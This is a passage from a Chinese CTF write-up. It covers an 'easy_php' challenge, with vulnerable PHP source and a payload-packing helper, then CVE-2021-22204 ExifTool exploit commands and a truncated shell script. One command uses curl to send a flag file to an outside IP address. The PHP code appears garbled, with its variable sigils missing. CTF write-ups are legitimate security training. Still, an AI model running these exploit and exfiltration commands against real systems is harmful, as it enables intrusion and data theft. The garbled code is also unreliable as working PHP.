2022年春秋杯网络安全联赛春季赛勇者山峰
easy_php
题目内容:pwner:我决定我要开始卷web了,我该怎么学呢?算了,先从基础的php开始学起吧。
index.php
代码语言:javascript复制 <?php
highlight_file(__FILE__);
error_reporting(0);
function createFolder(path)
{
if (!file_exists(path)) {
createFolder(dirname(path));
mkdir(path, 0777);
}
}
function savePostData()
{
content =GLOBALS['HTTP_RAW_POST_DATA'];
if (empty(content)) {content = file_get_contents('php://input');
}
if (content == null) {
exit(0);
}format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen';
head = unpack("format", content);
unset(format);
format = 'lnDataLen/lnHeadLen/lnPackTotal/lnPackNum/lnFileNameLen/lnFileDataLen' . '/a' . (head["nFileNameLen"]) . 'chFileName' . '/a' . (head["nFileDataLen"]) . 'data';head = unpack("format",content);
if (is_string(head["chFileName"])) {fileName = head["chFileName"];white_func = array("readfile","unserialize","phpinfo");
if (!in_array(fileName,white_func)) {
exit("hi hack!");
}
fileName(head["data"]);
}
echo "FAIL";
}
savePostData();
?>
得到构造相应的unpack数据的方法
代码语言:javascript复制<?php
function savePostData(fn,data)
{
datalen=strlen(data);
fnlen=strlen(fn);
content=pack("l6a".fnlen."a".datalen,1,2,3,4,fnlen,datalen,fn,data);
var_dump(urlencode(content),strlen(content));
}white_func = array("readfile","unserialize","phpinfo");
savePostData($white_func[2],'99999');
将得到的数据在burp的6进制页面逐个插入字符
代码语言:javascript复制bash CVE-2021-22204.sh "system('ls -al /> /tmp/1')" poc2.jpg && python3 1.py
bash CVE-2021-22204.sh "system('curl -F "file=@/flag2" 47.99.70.18:4444')" poc2.jpg && python3 1.py
一道python,名字叫啥不记得了
只出了exif漏洞的一半flag(/flag1)还有一半flag是convert漏洞的没做出来,网上下了很多POC都没反应(其实exif漏洞也是,最后找到下面这个可用脚本):
代码语言:javascript复制#!/bin/bash
RS='